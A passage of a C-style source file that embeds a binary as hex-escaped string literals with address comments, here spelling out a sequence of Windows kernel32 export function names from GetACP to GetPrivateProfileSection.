7C805D90 */ "\x72\x65\x65\x56\x69\x72\x74\x75\x61\x6C\x42\x75\x66\x66\x65\x72" // reeVirtualBuffer /* 7C805DA0 */ "\x00\x47\x65\x6E\x65\x72\x61\x74\x65\x43\x6F\x6E\x73\x6F\x6C\x65" // .GenerateConsole /* 7C805DB0 */ "\x43\x74\x72\x6C\x45\x76\x65\x6E\x74\x00\x47\x65\x74\x41\x43\x50" // CtrlEvent.GetACP /* 7C805DC0 */ "\x00\x47\x65\x74\x41\x74\x6F\x6D\x4E\x61\x6D\x65\x41\x00\x47\x65" // .GetAtomNameA.Ge /* 7C805DD0 */ "\x74\x41\x74\x6F\x6D\x4E\x61\x6D\x65\x57\x00\x47\x65\x74\x42\x69" // tAtomNameW.GetBi /* 7C805DE0 */ "\x6E\x61\x72\x79\x54\x79\x70\x65\x00\x47\x65\x74\x42\x69\x6E\x61" // naryType.GetBina /* 7C805DF0 */ "\x72\x79\x54\x79\x70\x65\x41\x00\x47\x65\x74\x42\x69\x6E\x61\x72" // ryTypeA.GetBinar /* 7C805E00 */ "\x79\x54\x79\x70\x65\x57\x00\x47\x65\x74\x43\x50\x46\x69\x6C\x65" // yTypeW.GetCPFile /* 7C805E10 */ "\x4E\x61\x6D\x65\x46\x72\x6F\x6D\x52\x65\x67\x69\x73\x74\x72\x79" // NameFromRegistry /* 7C805E20 */ "\x00\x47\x65\x74\x43\x50\x49\x6E\x66\x6F\x00\x47\x65\x74\x43\x50" // .GetCPInfo.GetCP /* 7C805E30 */ "\x49\x6E\x66\x6F\x45\x78\x41\x00\x47\x65\x74\x43\x50\x49\x6E\x66" // InfoExA.GetCPInf /* 7C805E40 */ "\x6F\x45\x78\x57\x00\x47\x65\x74\x43\x61\x6C\x65\x6E\x64\x61\x72" // oExW.GetCalendar /* 7C805E50 */ "\x49\x6E\x66\x6F\x41\x00\x47\x65\x74\x43\x61\x6C\x65\x6E\x64\x61" // InfoA.GetCalenda /* 7C805E60 */ "\x72\x49\x6E\x66\x6F\x57\x00\x47\x65\x74\x43\x6F\x6D\x50\x6C\x75" // rInfoW.GetComPlu /* 7C805E70 */ "\x73\x50\x61\x63\x6B\x61\x67\x65\x49\x6E\x73\x74\x61\x6C\x6C\x53" // sPackageInstallS /* 7C805E80 */ "\x74\x61\x74\x75\x73\x00\x47\x65\x74\x43\x6F\x6D\x6D\x43\x6F\x6E" // tatus.GetCommCon /* 7C805E90 */ "\x66\x69\x67\x00\x47\x65\x74\x43\x6F\x6D\x6D\x4D\x61\x73\x6B\x00" // fig.GetCommMask. /* 7C805EA0 */ "\x47\x65\x74\x43\x6F\x6D\x6D\x4D\x6F\x64\x65\x6D\x53\x74\x61\x74" // GetCommModemStat /* 7C805EB0 */ "\x75\x73\x00\x47\x65\x74\x43\x6F\x6D\x6D\x50\x72\x6F\x70\x65\x72" // us.GetCommProper /* 7C805EC0 */ "\x74\x69\x65\x73\x00\x47\x65\x74\x43\x6F\x6D\x6D\x53\x74\x61\x74" // ties.GetCommStat /* 7C805ED0 */ "\x65\x00\x47\x65\x74\x43\x6F\x6D\x6D\x54\x69\x6D\x65\x6F\x75\x74" // e.GetCommTimeout /* 7C805EE0 */ "\x73\x00\x47\x65\x74\x43\x6F\x6D\x6D\x61\x6E\x64\x4C\x69\x6E\x65" // s.GetCommandLine /* 7C805EF0 */ "\x41\x00\x47\x65\x74\x43\x6F\x6D\x6D\x61\x6E\x64\x4C\x69\x6E\x65" // A.GetCommandLine /* 7C805F00 */ "\x57\x00\x47\x65\x74\x43\x6F\x6D\x70\x72\x65\x73\x73\x65\x64\x46" // W.GetCompressedF /* 7C805F10 */ "\x69\x6C\x65\x53\x69\x7A\x65\x41\x00\x47\x65\x74\x43\x6F\x6D\x70" // ileSizeA.GetComp /* 7C805F20 */ "\x72\x65\x73\x73\x65\x64\x46\x69\x6C\x65\x53\x69\x7A\x65\x57\x00" // ressedFileSizeW. /* 7C805F30 */ "\x47\x65\x74\x43\x6F\x6D\x70\x75\x74\x65\x72\x4E\x61\x6D\x65\x41" // GetComputerNameA /* 7C805F40 */ "\x00\x47\x65\x74\x43\x6F\x6D\x70\x75\x74\x65\x72\x4E\x61\x6D\x65" // .GetComputerName /* 7C805F50 */ "\x45\x78\x41\x00\x47\x65\x74\x43\x6F\x6D\x70\x75\x74\x65\x72\x4E" // ExA.GetComputerN /* 7C805F60 */ "\x61\x6D\x65\x45\x78\x57\x00\x47\x65\x74\x43\x6F\x6D\x70\x75\x74" // ameExW.GetComput /* 7C805F70 */ "\x65\x72\x4E\x61\x6D\x65\x57\x00\x47\x65\x74\x43\x6F\x6E\x73\x6F" // erNameW.GetConso /* 7C805F80 */ "\x6C\x65\x41\x6C\x69\x61\x73\x41\x00\x47\x65\x74\x43\x6F\x6E\x73" // leAliasA.GetCons /* 7C805F90 */ "\x6F\x6C\x65\x41\x6C\x69\x61\x73\x45\x78\x65\x73\x41\x00\x47\x65" // oleAliasExesA.Ge /* 7C805FA0 */ "\x74\x43\x6F\x6E\x73\x6F\x6C\x65\x41\x6C\x69\x61\x73\x45\x78\x65" // tConsoleAliasExe /* 7C805FB0 */ "\x73\x4C\x65\x6E\x67\x74\x68\x41\x00\x47\x65\x74\x43\x6F\x6E\x73" // sLengthA.GetCons /* 7C805FC0 */ "\x6F\x6C\x65\x41\x6C\x69\x61\x73\x45\x78\x65\x73\x4C\x65\x6E\x67" // oleAliasExesLeng /* 7C805FD0 */ "\x74\x68\x57\x00\x47\x65\x74\x43\x6F\x6E\x73\x6F\x6C\x65\x41\x6C" // thW.GetConsoleAl /* 7C805FE0 */ "\x69\x61\x73\x45\x78\x65\x73\x57\x00\x47\x65\x74\x43\x6F\x6E\x73" // iasExesW.GetCons /* 7C805FF0 */ "\x6F\x6C\x65\x41\x6C\x69\x61\x73\x57\x00\x47\x65\x74\x43\x6F\x6E" // oleAliasW.GetCon /* 7C806000 */ "\x73\x6F\x6C\x65\x41\x6C\x69\x61\x73\x65\x73\x41\x00\x47\x65\x74" // soleAliasesA.Get /* 7C806010 */ "\x43\x6F\x6E\x73\x6F\x6C\x65\x41\x6C\x69\x61\x73\x65\x73\x4C\x65" // ConsoleAliasesLe /* 7C806020 */ "\x6E\x67\x74\x68\x41\x00\x47\x65\x74\x43\x6F\x6E\x73\x6F\x6C\x65" // ngthA.GetConsole /* 7C806030 */ "\x41\x6C\x69\x61\x73\x65\x73\x4C\x65\x6E\x67\x74\x68\x57\x00\x47" // AliasesLengthW.G /* 7C806040 */ "\x65\x74\x43\x6F\x6E\x73\x6F\x6C\x65\x41\x6C\x69\x61\x73\x65\x73" // etConsoleAliases /* 7C806050 */ "\x57\x00\x47\x65\x74\x43\x6F\x6E\x73\x6F\x6C\x65\x43\x50\x00\x47" // W.GetConsoleCP.G /* 7C806060 */ "\x65\x74\x43\x6F\x6E\x73\x6F\x6C\x65\x43\x68\x61\x72\x54\x79\x70" // etConsoleCharTyp /* 7C806070 */ "\x65\x00\x47\x65\x74\x43\x6F\x6E\x73\x6F\x6C\x65\x43\x6F\x6D\x6D" // e.GetConsoleComm /* 7C806080 */ "\x61\x6E\x64\x48\x69\x73\x74\x6F\x72\x79\x41\x00\x47\x65\x74\x43" // andHistoryA.GetC /* 7C806090 */ "\x6F\x6E\x73\x6F\x6C\x65\x43\x6F\x6D\x6D\x61\x6E\x64\x48\x69\x73" // onsoleCommandHis /* 7C8060A0 */ "\x74\x6F\x72\x79\x4C\x65\x6E\x67\x74\x68\x41\x00\x47\x65\x74\x43" // toryLengthA.GetC /* 7C8060B0 */ "\x6F\x6E\x73\x6F\x6C\x65\x43\x6F\x6D\x6D\x61\x6E\x64\x48\x69\x73" // onsoleCommandHis /* 7C8060C0 */ "\x74\x6F\x72\x79\x4C\x65\x6E\x67\x74\x68\x57\x00\x47\x65\x74\x43" // toryLengthW.GetC /* 7C8060D0 */ "\x6F\x6E\x73\x6F\x6C\x65\x43\x6F\x6D\x6D\x61\x6E\x64\x48\x69\x73" // onsoleCommandHis /* 7C8060E0 */ "\x74\x6F\x72\x79\x57\x00\x47\x65\x74\x43\x6F\x6E\x73\x6F\x6C\x65" // toryW.GetConsole /* 7C8060F0 */ "\x43\x75\x72\x73\x6F\x72\x49\x6E\x66\x6F\x00\x47\x65\x74\x43\x6F" // CursorInfo.GetCo /* 7C806100 */ "\x6E\x73\x6F\x6C\x65\x43\x75\x72\x73\x6F\x72\x4D\x6F\x64\x65\x00" // nsoleCursorMode. /* 7C806110 */ "\x47\x65\x74\x43\x6F\x6E\x73\x6F\x6C\x65\x44\x69\x73\x70\x6C\x61" // GetConsoleDispla /* 7C806120 */ "\x79\x4D\x6F\x64\x65\x00\x47\x65\x74\x43\x6F\x6E\x73\x6F\x6C\x65" // yMode.GetConsole /* 7C806130 */ "\x46\x6F\x6E\x74\x49\x6E\x66\x6F\x00\x47\x65\x74\x43\x6F\x6E\x73" // FontInfo.GetCons /* 7C806140 */ "\x6F\x6C\x65\x46\x6F\x6E\x74\x53\x69\x7A\x65\x00\x47\x65\x74\x43" // oleFontSize.GetC /* 7C806150 */ "\x6F\x6E\x73\x6F\x6C\x65\x48\x61\x72\x64\x77\x61\x72\x65\x53\x74" // onsoleHardwareSt /* 7C806160 */ "\x61\x74\x65\x00\x47\x65\x74\x43\x6F\x6E\x73\x6F\x6C\x65\x49\x6E" // ate.GetConsoleIn /* 7C806170 */ "\x70\x75\x74\x45\x78\x65\x4E\x61\x6D\x65\x41\x00\x47\x65\x74\x43" // putExeNameA.GetC /* 7C806180 */ "\x6F\x6E\x73\x6F\x6C\x65\x49\x6E\x70\x75\x74\x45\x78\x65\x4E\x61" // onsoleInputExeNa /* 7C806190 */ "\x6D\x65\x57\x00\x47\x65\x74\x43\x6F\x6E\x73\x6F\x6C\x65\x49\x6E" // meW.GetConsoleIn /* 7C8061A0 */ "\x70\x75\x74\x57\x61\x69\x74\x48\x61\x6E\x64\x6C\x65\x00\x47\x65" // putWaitHandle.Ge /* 7C8061B0 */ "\x74\x43\x6F\x6E\x73\x6F\x6C\x65\x4B\x65\x79\x62\x6F\x61\x72\x64" // tConsoleKeyboard /* 7C8061C0 */ "\x4C\x61\x79\x6F\x75\x74\x4E\x61\x6D\x65\x41\x00\x47\x65\x74\x43" // LayoutNameA.GetC /* 7C8061D0 */ "\x6F\x6E\x73\x6F\x6C\x65\x4B\x65\x79\x62\x6F\x61\x72\x64\x4C\x61" // onsoleKeyboardLa /* 7C8061E0 */ "\x79\x6F\x75\x74\x4E\x61\x6D\x65\x57\x00\x47\x65\x74\x43\x6F\x6E" // youtNameW.GetCon /* 7C8061F0 */ "\x73\x6F\x6C\x65\x4D\x6F\x64\x65\x00\x47\x65\x74\x43\x6F\x6E\x73" // soleMode.GetCons /* 7C806200 */ "\x6F\x6C\x65\x4E\x6C\x73\x4D\x6F\x64\x65\x00\x47\x65\x74\x43\x6F" // oleNlsMode.GetCo /* 7C806210 */ "\x6E\x73\x6F\x6C\x65\x4F\x75\x74\x70\x75\x74\x43\x50\x00\x47\x65" // nsoleOutputCP.Ge /* 7C806220 */ "\x74\x43\x6F\x6E\x73\x6F\x6C\x65\x50\x72\x6F\x63\x65\x73\x73\x4C" // tConsoleProcessL /* 7C806230 */ "\x69\x73\x74\x00\x47\x65\x74\x43\x6F\x6E\x73\x6F\x6C\x65\x53\x63" // ist.GetConsoleSc /* 7C806240 */ "\x72\x65\x65\x6E\x42\x75\x66\x66\x65\x72\x49\x6E\x66\x6F\x00\x47" // reenBufferInfo.G /* 7C806250 */ "\x65\x74\x43\x6F\x6E\x73\x6F\x6C\x65\x53\x65\x6C\x65\x63\x74\x69" // etConsoleSelecti /* 7C806260 */ "\x6F\x6E\x49\x6E\x66\x6F\x00\x47\x65\x74\x43\x6F\x6E\x73\x6F\x6C" // onInfo.GetConsol /* 7C806270 */ "\x65\x54\x69\x74\x6C\x65\x41\x00\x47\x65\x74\x43\x6F\x6E\x73\x6F" // eTitleA.GetConso /* 7C806280 */ "\x6C\x65\x54\x69\x74\x6C\x65\x57\x00\x47\x65\x74\x43\x6F\x6E\x73" // leTitleW.GetCons /* 7C806290 */ "\x6F\x6C\x65\x57\x69\x6E\x64\x6F\x77\x00\x47\x65\x74\x43\x75\x72" // oleWindow.GetCur /* 7C8062A0 */ "\x72\x65\x6E\x63\x79\x46\x6F\x72\x6D\x61\x74\x41\x00\x47\x65\x74" // rencyFormatA.Get /* 7C8062B0 */ "\x43\x75\x72\x72\x65\x6E\x63\x79\x46\x6F\x72\x6D\x61\x74\x57\x00" // CurrencyFormatW. /* 7C8062C0 */ "\x47\x65\x74\x43\x75\x72\x72\x65\x6E\x74\x41\x63\x74\x43\x74\x78" // GetCurrentActCtx /* 7C8062D0 */ "\x00\x47\x65\x74\x43\x75\x72\x72\x65\x6E\x74\x43\x6F\x6E\x73\x6F" // .GetCurrentConso /* 7C8062E0 */ "\x6C\x65\x46\x6F\x6E\x74\x00\x47\x65\x74\x43\x75\x72\x72\x65\x6E" // leFont.GetCurren /* 7C8062F0 */ "\x74\x44\x69\x72\x65\x63\x74\x6F\x72\x79\x41\x00\x47\x65\x74\x43" // tDirectoryA.GetC /* 7C806300 */ "\x75\x72\x72\x65\x6E\x74\x44\x69\x72\x65\x63\x74\x6F\x72\x79\x57" // urrentDirectoryW /* 7C806310 */ "\x00\x47\x65\x74\x43\x75\x72\x72\x65\x6E\x74\x50\x72\x6F\x63\x65" // .GetCurrentProce /* 7C806320 */ "\x73\x73\x00\x47\x65\x74\x43\x75\x72\x72\x65\x6E\x74\x50\x72\x6F" // ss.GetCurrentPro /* 7C806330 */ "\x63\x65\x73\x73\x49\x64\x00\x47\x65\x74\x43\x75\x72\x72\x65\x6E" // cessId.GetCurren /* 7C806340 */ "\x74\x54\x68\x72\x65\x61\x64\x00\x47\x65\x74\x43\x75\x72\x72\x65" // tThread.GetCurre /* 7C806350 */ "\x6E\x74\x54\x68\x72\x65\x61\x64\x49\x64\x00\x47\x65\x74\x44\x61" // ntThreadId.GetDa /* 7C806360 */ "\x74\x65\x46\x6F\x72\x6D\x61\x74\x41\x00\x47\x65\x74\x44\x61\x74" // teFormatA.GetDat /* 7C806370 */ "\x65\x46\x6F\x72\x6D\x61\x74\x57\x00\x47\x65\x74\x44\x65\x66\x61" // eFormatW.GetDefa /* 7C806380 */ "\x75\x6C\x74\x43\x6F\x6D\x6D\x43\x6F\x6E\x66\x69\x67\x41\x00\x47" // ultCommConfigA.G /* 7C806390 */ "\x65\x74\x44\x65\x66\x61\x75\x6C\x74\x43\x6F\x6D\x6D\x43\x6F\x6E" // etDefaultCommCon /* 7C8063A0 */ "\x66\x69\x67\x57\x00\x47\x65\x74\x44\x65\x66\x61\x75\x6C\x74\x53" // figW.GetDefaultS /* 7C8063B0 */ "\x6F\x72\x74\x6B\x65\x79\x53\x69\x7A\x65\x00\x47\x65\x74\x44\x65" // ortkeySize.GetDe /* 7C8063C0 */ "\x76\x69\x63\x65\x50\x6F\x77\x65\x72\x53\x74\x61\x74\x65\x00\x47" // vicePowerState.G /* 7C8063D0 */ "\x65\x74\x44\x69\x73\x6B\x46\x72\x65\x65\x53\x70\x61\x63\x65\x41" // etDiskFreeSpaceA /* 7C8063E0 */ "\x00\x47\x65\x74\x44\x69\x73\x6B\x46\x72\x65\x65\x53\x70\x61\x63" // .GetDiskFreeSpac /* 7C8063F0 */ "\x65\x45\x78\x41\x00\x47\x65\x74\x44\x69\x73\x6B\x46\x72\x65\x65" // eExA.GetDiskFree /* 7C806400 */ "\x53\x70\x61\x63\x65\x45\x78\x57\x00\x47\x65\x74\x44\x69\x73\x6B" // SpaceExW.GetDisk /* 7C806410 */ "\x46\x72\x65\x65\x53\x70\x61\x63\x65\x57\x00\x47\x65\x74\x44\x6C" // FreeSpaceW.GetDl /* 7C806420 */ "\x6C\x44\x69\x72\x65\x63\x74\x6F\x72\x79\x41\x00\x47\x65\x74\x44" // lDirectoryA.GetD /* 7C806430 */ "\x6C\x6C\x44\x69\x72\x65\x63\x74\x6F\x72\x79\x57\x00\x47\x65\x74" // llDirectoryW.Get /* 7C806440 */ "\x44\x72\x69\x76\x65\x54\x79\x70\x65\x41\x00\x47\x65\x74\x44\x72" // DriveTypeA.GetDr /* 7C806450 */ "\x69\x76\x65\x54\x79\x70\x65\x57\x00\x47\x65\x74\x45\x6E\x76\x69" // iveTypeW.GetEnvi /* 7C806460 */ "\x72\x6F\x6E\x6D\x65\x6E\x74\x53\x74\x72\x69\x6E\x67\x73\x00\x47" // ronmentStrings.G /* 7C806470 */ "\x65\x74\x45\x6E\x76\x69\x72\x6F\x6E\x6D\x65\x6E\x74\x53\x74\x72" // etEnvironmentStr /* 7C806480 */ "\x69\x6E\x67\x73\x41\x00\x47\x65\x74\x45\x6E\x76\x69\x72\x6F\x6E" // ingsA.GetEnviron /* 7C806490 */ "\x6D\x65\x6E\x74\x53\x74\x72\x69\x6E\x67\x73\x57\x00\x47\x65\x74" // mentStringsW.Get /* 7C8064A0 */ "\x45\x6E\x76\x69\x72\x6F\x6E\x6D\x65\x6E\x74\x56\x61\x72\x69\x61" // EnvironmentVaria /* 7C8064B0 */ "\x62\x6C\x65\x41\x00\x47\x65\x74\x45\x6E\x76\x69\x72\x6F\x6E\x6D" // bleA.GetEnvironm /* 7C8064C0 */ "\x65\x6E\x74\x56\x61\x72\x69\x61\x62\x6C\x65\x57\x00\x47\x65\x74" // entVariableW.Get /* 7C8064D0 */ "\x45\x78\x69\x74\x43\x6F\x64\x65\x50\x72\x6F\x63\x65\x73\x73\x00" // ExitCodeProcess. /* 7C8064E0 */ "\x47\x65\x74\x45\x78\x69\x74\x43\x6F\x64\x65\x54\x68\x72\x65\x61" // GetExitCodeThrea /* 7C8064F0 */ "\x64\x00\x47\x65\x74\x45\x78\x70\x61\x6E\x64\x65\x64\x4E\x61\x6D" // d.GetExpandedNam /* 7C806500 */ "\x65\x41\x00\x47\x65\x74\x45\x78\x70\x61\x6E\x64\x65\x64\x4E\x61" // eA.GetExpandedNa /* 7C806510 */ "\x6D\x65\x57\x00\x47\x65\x74\x46\x69\x6C\x65\x41\x74\x74\x72\x69" // meW.GetFileAttri /* 7C806520 */ "\x62\x75\x74\x65\x73\x41\x00\x47\x65\x74\x46\x69\x6C\x65\x41\x74" // butesA.GetFileAt /* 7C806530 */ "\x74\x72\x69\x62\x75\x74\x65\x73\x45\x78\x41\x00\x47\x65\x74\x46" // tributesExA.GetF /* 7C806540 */ "\x69\x6C\x65\x41\x74\x74\x72\x69\x62\x75\x74\x65\x73\x45\x78\x57" // ileAttributesExW /* 7C806550 */ "\x00\x47\x65\x74\x46\x69\x6C\x65\x41\x74\x74\x72\x69\x62\x75\x74" // .GetFileAttribut /* 7C806560 */ "\x65\x73\x57\x00\x47\x65\x74\x46\x69\x6C\x65\x49\x6E\x66\x6F\x72" // esW.GetFileInfor /* 7C806570 */ "\x6D\x61\x74\x69\x6F\x6E\x42\x79\x48\x61\x6E\x64\x6C\x65\x00\x47" // mationByHandle.G /* 7C806580 */ "\x65\x74\x46\x69\x6C\x65\x53\x69\x7A\x65\x00\x47\x65\x74\x46\x69" // etFileSize.GetFi /* 7C806590 */ "\x6C\x65\x53\x69\x7A\x65\x45\x78\x00\x47\x65\x74\x46\x69\x6C\x65" // leSizeEx.GetFile /* 7C8065A0 */ "\x54\x69\x6D\x65\x00\x47\x65\x74\x46\x69\x6C\x65\x54\x79\x70\x65" // Time.GetFileType /* 7C8065B0 */ "\x00\x47\x65\x74\x46\x69\x72\x6D\x77\x61\x72\x65\x45\x6E\x76\x69" // .GetFirmwareEnvi /* 7C8065C0 */ "\x72\x6F\x6E\x6D\x65\x6E\x74\x56\x61\x72\x69\x61\x62\x6C\x65\x41" // ronmentVariableA /* 7C8065D0 */ "\x00\x47\x65\x74\x46\x69\x72\x6D\x77\x61\x72\x65\x45\x6E\x76\x69" // .GetFirmwareEnvi /* 7C8065E0 */ "\x72\x6F\x6E\x6D\x65\x6E\x74\x56\x61\x72\x69\x61\x62\x6C\x65\x57" // ronmentVariableW /* 7C8065F0 */ "\x00\x47\x65\x74\x46\x75\x6C\x6C\x50\x61\x74\x68\x4E\x61\x6D\x65" // .GetFullPathName /* 7C806600 */ "\x41\x00\x47\x65\x74\x46\x75\x6C\x6C\x50\x61\x74\x68\x4E\x61\x6D" // A.GetFullPathNam /* 7C806610 */ "\x65\x57\x00\x47\x65\x74\x47\x65\x6F\x49\x6E\x66\x6F\x41\x00\x47" // eW.GetGeoInfoA.G /* 7C806620 */ "\x65\x74\x47\x65\x6F\x49\x6E\x66\x6F\x57\x00\x47\x65\x74\x48\x61" // etGeoInfoW.GetHa /* 7C806630 */ "\x6E\x64\x6C\x65\x43\x6F\x6E\x74\x65\x78\x74\x00\x47\x65\x74\x48" // ndleContext.GetH /* 7C806640 */ "\x61\x6E\x64\x6C\x65\x49\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E" // andleInformation /* 7C806650 */ "\x00\x47\x65\x74\x4C\x61\x72\x67\x65\x73\x74\x43\x6F\x6E\x73\x6F" // .GetLargestConso /* 7C806660 */ "\x6C\x65\x57\x69\x6E\x64\x6F\x77\x53\x69\x7A\x65\x00\x47\x65\x74" // leWindowSize.Get /* 7C806670 */ "\x4C\x61\x73\x74\x45\x72\x72\x6F\x72\x00\x47\x65\x74\x4C\x69\x6E" // LastError.GetLin /* 7C806680 */ "\x67\x75\x69\x73\x74\x4C\x61\x6E\x67\x53\x69\x7A\x65\x00\x47\x65" // guistLangSize.Ge /* 7C806690 */ "\x74\x4C\x6F\x63\x61\x6C\x54\x69\x6D\x65\x00\x47\x65\x74\x4C\x6F" // tLocalTime.GetLo /* 7C8066A0 */ "\x63\x61\x6C\x65\x49\x6E\x66\x6F\x41\x00\x47\x65\x74\x4C\x6F\x63" // caleInfoA.GetLoc /* 7C8066B0 */ "\x61\x6C\x65\x49\x6E\x66\x6F\x57\x00\x47\x65\x74\x4C\x6F\x67\x69" // aleInfoW.GetLogi /* 7C8066C0 */ "\x63\x61\x6C\x44\x72\x69\x76\x65\x53\x74\x72\x69\x6E\x67\x73\x41" // calDriveStringsA /* 7C8066D0 */ "\x00\x47\x65\x74\x4C\x6F\x67\x69\x63\x61\x6C\x44\x72\x69\x76\x65" // .GetLogicalDrive /* 7C8066E0 */ "\x53\x74\x72\x69\x6E\x67\x73\x57\x00\x47\x65\x74\x4C\x6F\x67\x69" // StringsW.GetLogi /* 7C8066F0 */ "\x63\x61\x6C\x44\x72\x69\x76\x65\x73\x00\x47\x65\x74\x4C\x6F\x6E" // calDrives.GetLon /* 7C806700 */ "\x67\x50\x61\x74\x68\x4E\x61\x6D\x65\x41\x00\x47\x65\x74\x4C\x6F" // gPathNameA.GetLo /* 7C806710 */ "\x6E\x67\x50\x61\x74\x68\x4E\x61\x6D\x65\x57\x00\x47\x65\x74\x4D" // ngPathNameW.GetM /* 7C806720 */ "\x61\x69\x6C\x73\x6C\x6F\x74\x49\x6E\x66\x6F\x00\x47\x65\x74\x4D" // ailslotInfo.GetM /* 7C806730 */ "\x6F\x64\x75\x6C\x65\x46\x69\x6C\x65\x4E\x61\x6D\x65\x41\x00\x47" // oduleFileNameA.G /* 7C806740 */ "\x65\x74\x4D\x6F\x64\x75\x6C\x65\x46\x69\x6C\x65\x4E\x61\x6D\x65" // etModuleFileName /* 7C806750 */ "\x57\x00\x47\x65\x74\x4D\x6F\x64\x75\x6C\x65\x48\x61\x6E\x64\x6C" // W.GetModuleHandl /* 7C806760 */ "\x65\x41\x00\x47\x65\x74\x4D\x6F\x64\x75\x6C\x65\x48\x61\x6E\x64" // eA.GetModuleHand /* 7C806770 */ "\x6C\x65\x45\x78\x41\x00\x47\x65\x74\x4D\x6F\x64\x75\x6C\x65\x48" // leExA.GetModuleH /* 7C806780 */ "\x61\x6E\x64\x6C\x65\x45\x78\x57\x00\x47\x65\x74\x4D\x6F\x64\x75" // andleExW.GetModu /* 7C806790 */ "\x6C\x65\x48\x61\x6E\x64\x6C\x65\x57\x00\x47\x65\x74\x4E\x61\x6D" // leHandleW.GetNam /* 7C8067A0 */ "\x65\x64\x50\x69\x70\x65\x48\x61\x6E\x64\x6C\x65\x53\x74\x61\x74" // edPipeHandleStat /* 7C8067B0 */ "\x65\x41\x00\x47\x65\x74\x4E\x61\x6D\x65\x64\x50\x69\x70\x65\x48" // eA.GetNamedPipeH /* 7C8067C0 */ "\x61\x6E\x64\x6C\x65\x53\x74\x61\x74\x65\x57\x00\x47\x65\x74\x4E" // andleStateW.GetN /* 7C8067D0 */ "\x61\x6D\x65\x64\x50\x69\x70\x65\x49\x6E\x66\x6F\x00\x47\x65\x74" // amedPipeInfo.Get /* 7C8067E0 */ "\x4E\x61\x74\x69\x76\x65\x53\x79\x73\x74\x65\x6D\x49\x6E\x66\x6F" // NativeSystemInfo /* 7C8067F0 */ "\x00\x47\x65\x74\x4E\x65\x78\x74\x56\x44\x4D\x43\x6F\x6D\x6D\x61" // .GetNextVDMComma /* 7C806800 */ "\x6E\x64\x00\x47\x65\x74\x4E\x6C\x73\x53\x65\x63\x74\x69\x6F\x6E" // nd.GetNlsSection /* 7C806810 */ "\x4E\x61\x6D\x65\x00\x47\x65\x74\x4E\x75\x6D\x61\x41\x76\x61\x69" // Name.GetNumaAvai /* 7C806820 */ "\x6C\x61\x62\x6C\x65\x4D\x65\x6D\x6F\x72\x79\x00\x47\x65\x74\x4E" // lableMemory.GetN /* 7C806830 */ "\x75\x6D\x61\x41\x76\x61\x69\x6C\x61\x62\x6C\x65\x4D\x65\x6D\x6F" // umaAvailableMemo /* 7C806840 */ "\x72\x79\x4E\x6F\x64\x65\x00\x47\x65\x74\x4E\x75\x6D\x61\x48\x69" // ryNode.GetNumaHi /* 7C806850 */ "\x67\x68\x65\x73\x74\x4E\x6F\x64\x65\x4E\x75\x6D\x62\x65\x72\x00" // ghestNodeNumber. /* 7C806860 */ "\x47\x65\x74\x4E\x75\x6D\x61\x4E\x6F\x64\x65\x50\x72\x6F\x63\x65" // GetNumaNodeProce /* 7C806870 */ "\x73\x73\x6F\x72\x4D\x61\x73\x6B\x00\x47\x65\x74\x4E\x75\x6D\x61" // ssorMask.GetNuma /* 7C806880 */ "\x50\x72\x6F\x63\x65\x73\x73\x6F\x72\x4D\x61\x70\x00\x47\x65\x74" // ProcessorMap.Get /* 7C806890 */ "\x4E\x75\x6D\x61\x50\x72\x6F\x63\x65\x73\x73\x6F\x72\x4E\x6F\x64" // NumaProcessorNod /* 7C8068A0 */ "\x65\x00\x47\x65\x74\x4E\x75\x6D\x62\x65\x72\x46\x6F\x72\x6D\x61" // e.GetNumberForma /* 7C8068B0 */ "\x74\x41\x00\x47\x65\x74\x4E\x75\x6D\x62\x65\x72\x46\x6F\x72\x6D" // tA.GetNumberForm /* 7C8068C0 */ "\x61\x74\x57\x00\x47\x65\x74\x4E\x75\x6D\x62\x65\x72\x4F\x66\x43" // atW.GetNumberOfC /* 7C8068D0 */ "\x6F\x6E\x73\x6F\x6C\x65\x46\x6F\x6E\x74\x73\x00\x47\x65\x74\x4E" // onsoleFonts.GetN /* 7C8068E0 */ "\x75\x6D\x62\x65\x72\x4F\x66\x43\x6F\x6E\x73\x6F\x6C\x65\x49\x6E" // umberOfConsoleIn /* 7C8068F0 */ "\x70\x75\x74\x45\x76\x65\x6E\x74\x73\x00\x47\x65\x74\x4E\x75\x6D" // putEvents.GetNum /* 7C806900 */ "\x62\x65\x72\x4F\x66\x43\x6F\x6E\x73\x6F\x6C\x65\x4D\x6F\x75\x73" // berOfConsoleMous /* 7C806910 */ "\x65\x42\x75\x74\x74\x6F\x6E\x73\x00\x47\x65\x74\x4F\x45\x4D\x43" // eButtons.GetOEMC /* 7C806920 */ "\x50\x00\x47\x65\x74\x4F\x76\x65\x72\x6C\x61\x70\x70\x65\x64\x52" // P.GetOverlappedR /* 7C806930 */ "\x65\x73\x75\x6C\x74\x00\x47\x65\x74\x50\x72\x69\x6F\x72\x69\x74" // esult.GetPriorit /* 7C806940 */ "\x79\x43\x6C\x61\x73\x73\x00\x47\x65\x74\x50\x72\x69\x76\x61\x74" // yClass.GetPrivat /* 7C806950 */ "\x65\x50\x72\x6F\x66\x69\x6C\x65\x49\x6E\x74\x41\x00\x47\x65\x74" // eProfileIntA.Get /* 7C806960 */ "\x50\x72\x69\x76\x61\x74\x65\x50\x72\x6F\x66\x69\x6C\x65\x49\x6E" // PrivateProfileIn /* 7C806970 */ "\x74\x57\x00\x47\x65\x74\x50\x72\x69\x76\x61\x74\x65\x50\x72\x6F" // tW.GetPrivatePro /* 7C806980 */ "\x66\x69\x6C\x65\x53\x65\x63\x74\x69\x6F\x6E\x41\x00\x47\x65\x74" // fileSectionA.Get /* 7C806990 */ "\x50\x72\x69\x76\x61\x74\x65\x50\x72\x6F\x66\x69\x6C\x65\x53\x65" // PrivateProfileSe /* 7C8069A0 */ "\x63\x74\x69\x6F\x6E\x4E\x61\x6D\x65\x73\x41\x00\x47\x65\x74\x50" // ctionNamesA.GetP /* 7C8069B0 */ "\x72\x69\x76\x61\x74\x65\x50\x72\x6F\x66\x69\x6C\x65\x53\x65\x63" // rivateProfileSec /* 7C8069C0 */ "\x74\x69\x6F\x6E\x4E\x61\x6D\x65\x73\x57\x00\x47\x65\x74\x50\x72" // tionNamesW.GetPr /* 7C8069D0 */ "\x69\x76\x61\x74\x65\x50\x72\x6F\x66\x69\x6C\x65\x53\x65\x63\x74" // ivateProfileSect /* 7C8069E0 */ "\x69\x6F\x6E\x57\x00\x47\x65\x74\x50\x72\x69\x76\x61\x74\x65\x50" // ionW.GetPrivateP /* 7C8069F0 */ 